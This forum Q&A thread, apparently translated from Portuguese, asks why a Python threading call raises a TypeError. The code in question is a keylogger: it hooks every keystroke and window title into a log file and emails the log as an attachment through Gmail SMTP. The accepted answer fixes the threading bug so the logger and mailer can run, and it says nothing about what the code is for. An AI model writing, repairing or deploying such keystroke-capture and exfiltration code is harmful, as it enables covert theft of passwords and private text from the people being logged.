Typeerror: send_email() takes Exactly 1 argument (0 Given)

Asked

Viewed 113 times

1

I have a code and I need to use threads, but always how I run the threads gives this error.

import pyHook
import pythoncom
import os
import threading
import time
import tempfile
import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders


def function(event, janela):
    arquivo = open('log.txt', 'a')
    with open(arquivo, 'a') as stream:
        if event.WindowsName != janela:
            janela = event.WindowsName
            stream.write('\n' + janela + ' - ' + str(event.Time) + '\n')
        stream.write(chr(event.Ascii))
    return janela


def pump():
    hook = pyHook.HookManager()
    hook.KeyDown = function
    hook.HookKeyboard()
    pythoncom.PumpMessages()


def send_email(arquivo):
    time.sleep(5)
    email_user = ''
    email_password = ''
    email_send = ''
    subject = '' + str(datetime.date.today())
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To'] = email_send
    msg['Subject'] = subject
    body = '[*] Logs file uploaded successfully!'
    msg.attach(MIMEText(body, 'plain'))
    filename = arquivo
    attachment = open(arquivo, 'rb')
    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= " + filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email_user, email_password)
    server.sendmail(email_user, email_send, text)
    server.quit()


w1 = threading.Thread(target=send_email(), args=[])
w = threading.Thread(target=pump())

w.start()
w1.start()

1 answer

0

While trying to create the thread you are invoking the function, while the correct one would just pass the object representing the function.

Change:

w1 = threading.Thread(target=send_email(), args=[])

For:

w1 = threading.Thread(target=send_email, args=[arquivo])
# Foram retirados os parenteses -------^          ^
# Foi adicionado o arquivo a ser enviado ---------+

The same for pump. Note that I also added in args the object representing the file that will be sent by email, which will be passed as parameter to the function when the thread is executed. With parentheses, you are calling the function, however, as the function expects a parameter that is not being passed, it gives the cited error.

  • w1 = threading. Thread(target=send_email, args=[file]) Nameerror: name 'file' is not defined

  • 1

    Obviously this error would occur; it was just an example. You need to properly define in your code the object arquivo with the file you want to send by e-mail.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.